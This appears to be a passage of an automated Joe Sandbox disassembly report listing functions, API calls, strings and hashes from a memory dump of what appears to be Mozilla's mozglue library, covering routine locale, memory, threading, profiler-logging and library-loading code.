??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9DB5F4
__Init_thread_footer.LIBCMT ref: 6C9DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9DB61F
std::_Facet_Register.LIBCPMT ref: 6C9DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9DB655

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction ID: 32d48d8583099e5c8a6042f720e2bf5664908c77e877ccaaac345255936da4ce
Opcode Fuzzy Hash: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction Fuzzy Hash: B931C771B04204CBCF40DF68D8589AEBBB5FFAE324B250526D902A7740DB30E946CF91

Function 6C979830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9C7ABE), ref: 6C97985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9C7ABE), ref: 6C9798A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C979909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C979918
free.MOZGLUE(?), ref: 6C979975

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction ID: 32ce69089bfbd6f602876d1bbafd33761c44e2dd4c24b450ad4fda9e3038a569
Opcode Fuzzy Hash: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction Fuzzy Hash: 3971AC746067068FD725CF28C480A66B7F5FF4A3247254AADD85A8BBA0D731F845CB60

Function 6C97B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE), ref: 6C97B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B896

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction ID: 8c990dbb3facbcaf6f67f5a42b944458520323cee6fab8eee6fc31d121235e54
Opcode Fuzzy Hash: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction Fuzzy Hash: AC519A757052048FCB25CF58C484A6ABBF9FF88318F69859DE99A87341C730EC01CB94

Function 6C9B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B1DDA

Part of subcall function 6C9B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9B1F03
Part of subcall function 6C9B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9B1DF2,00000000,00000000), ref: 6C9B1F0C
Part of subcall function 6C9B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9B1DF4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction ID: 8855405187fffb5104d16c006f7a4c5ef868342132be43da36e1e6d21b779c3a
Opcode Fuzzy Hash: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction Fuzzy Hash: 6D4188B5204704AFCB50CF28C889A56BBF9FFA9314F20442EE95A87B41CB31F854CB94

Function 6C9738A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,?,6C973899,?), ref: 6C9738B2
ReleaseSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,6C973899,?), ref: 6C9738C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C973899,?), ref: 6C9738F1
RtlFreeHeap.NTDLL ref: 6C973920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C973899,?), ref: 6C97392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C973899,?), ref: 6C973943
RtlFreeHeap.NTDLL ref: 6C97396E

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction ID: 74eb00ba9bf65c7cf1cdb11925fde1b842c21f0d52fe15ef1bfc42b6249f39af
Opcode Fuzzy Hash: 96b69e8f7b500ecf8e05c48a031e95e26b0c82696edb4c29d1e0003a21573cb5
Instruction Fuzzy Hash: 05212472602B20DFD721DF25C880B96B7B9FF55328F268469D95AA7B10C730F845CBA0

Function 6C9A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85AC

Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A767F
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A7693
Part of subcall function 6C9A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9A85B2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction ID: 3dcab1c6b04a2347801b14a8a5d75b2a149c0a7dda4c8534bbd5f9ca1ec269c7
Opcode Fuzzy Hash: 56db8b3d9a46a39fb1d399862285bf0bb1111afad8f4da648b1eceb12042ea85
Instruction Fuzzy Hash: 5921B2742007419FDB18DB64C888A5AB7B9BF5430DF24082DE99BC3B41DB31F959CB55

Function 6C971640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C971699
VerSetConditionMask.NTDLL ref: 6C9716CB
VerSetConditionMask.NTDLL ref: 6C9716D7
VerSetConditionMask.NTDLL ref: 6C9716DE
VerSetConditionMask.NTDLL ref: 6C9716E5
VerSetConditionMask.NTDLL ref: 6C9716EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9716F9

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction ID: 3ba5d2a5828e4d7ff8963ba201be3bd5fbfb3274f1015f64c897bd606ab22139
Opcode Fuzzy Hash: c4087a622cbe2cacb7da9fb031034f1cdb9fdcb01528c9f0a7d5cf163291a31a
Instruction Fuzzy Hash: 3621E7B0744308ABFB216A648C45FBB737CDFEAB04F044528F6059B2C0C674DD5487A1

Function 6C9AF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction ID: e1879e1a373abe1aa51c9055cfeb1370ac9163b44ab9269262a89e67be4e0c71
Opcode Fuzzy Hash: 12b28d3b2159fd39c927440be4bfae936491006cf8536564aa65cbad92c7b0c2
Instruction Fuzzy Hash: 5411A775205605AFCB84AF98D8489E5777DFFAA35CB201416EA0583F01DB72E826CBA4

Function 6C971FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C971FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C971FFD
__Init_thread_footer.LIBCMT ref: 6C972011
FreeLibrary.KERNEL32 ref: 6C972059

Strings

combase.dll, xrefs: 6C971FD9
CoCreateInstance, xrefs: 6C971FF7

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction ID: 8f31875d8ca2668301e76d892be7034fafcae000e400072622c81176fbf291f8
Opcode Fuzzy Hash: 8b2094eb3b184429602b3c9e922f4d5e755ce8be4165474fec6e6eb7165eca3a
Instruction Fuzzy Hash: 9A112C75609204EBDF608F55D84DE6A3B79EFBE359F20402AE90692640CB31D910CEB1

Function 6C970EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C99D9F0,00000000), ref: 6C970F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C970F3C
__Init_thread_footer.LIBCMT ref: 6C970F50
FreeLibrary.KERNEL32(?,6C99D9F0,00000000), ref: 6C970F86

Strings

CoInitializeEx, xrefs: 6C970F36
combase.dll, xrefs: 6C970F18

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction ID: b676c1c2aa88471308af12c15927b2d26d4262a079336ec2b2dc6600965b077b
Opcode Fuzzy Hash: 3cf65f6fe8c9abbcb795bc804a77deacc4e865e34af6de6928b633bea4984c22
Instruction Fuzzy Hash: 5A11737460A240DBEF50CF95D908A653778EFBF329F24522AE90592740DB31E415CA65

Function 6C9AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AF561

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF585
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C9AF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C9AF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C9AF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C9AF56A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction ID: 93a42a3ae3067a7dd972a9743c6cb253c72eab6614be56bdaba885bf3163687f
Opcode Fuzzy Hash: 3ff0dd58e4657b3c75157baa95db13beecb4840fb2285a489ad0172204c941bf
Instruction Fuzzy Hash: 8EF054756043049FDB406BA5D84CA6A7BBDFFBE29DF204416EA0583701EB76C80587A9

Function 6C9AF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
Part of subcall function 6C9A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
Part of subcall function 6C9A9420: __Init_thread_footer.LIBCMT ref: 6C9A949F

GetCurrentThreadId.KERNEL32 ref: 6C9AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9AF598), ref: 6C9AF621

Part of subcall function 6C9A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9A94EE
Part of subcall function 6C9A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9A9508

GetCurrentThreadId.KERNEL32 ref: 6C9AF637
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF645
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000,?,6C9AF598), ref: 6C9AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9AF62A

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction ID: cfd4dcafb69513db6cb2eb419df3cab5a0b87caa47a5c37ff53383c573de23b4
Opcode Fuzzy Hash: 802c70fcc395602e3e8fe1285f664d55bc924bfb645c51a2486f854559f554cd
Instruction Fuzzy Hash: E7F0B475204304AFDB406BA4D84CA6A7BBCFFFE29DF200416EA0583711DB36880687A8

Function 6C970E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C970DF8), ref: 6C970E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C970EA1
__Init_thread_footer.LIBCMT ref: 6C970EB5
FreeLibrary.KERNEL32 ref: 6C970EC5

Strings

kernel32.dll, xrefs: 6C970E7D
GetProcessMitigationPolicy, xrefs: 6C970E9B

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0dd5b5c6a5f2a2fd55f6c8fb3a419b8a608b444d900cfd1c69ca13055d01cc97
Instruction ID: cb9c7f8a0f3b5e6c6ec42031fb579f23d5260a6e7eaad4b66fb0197db783d528
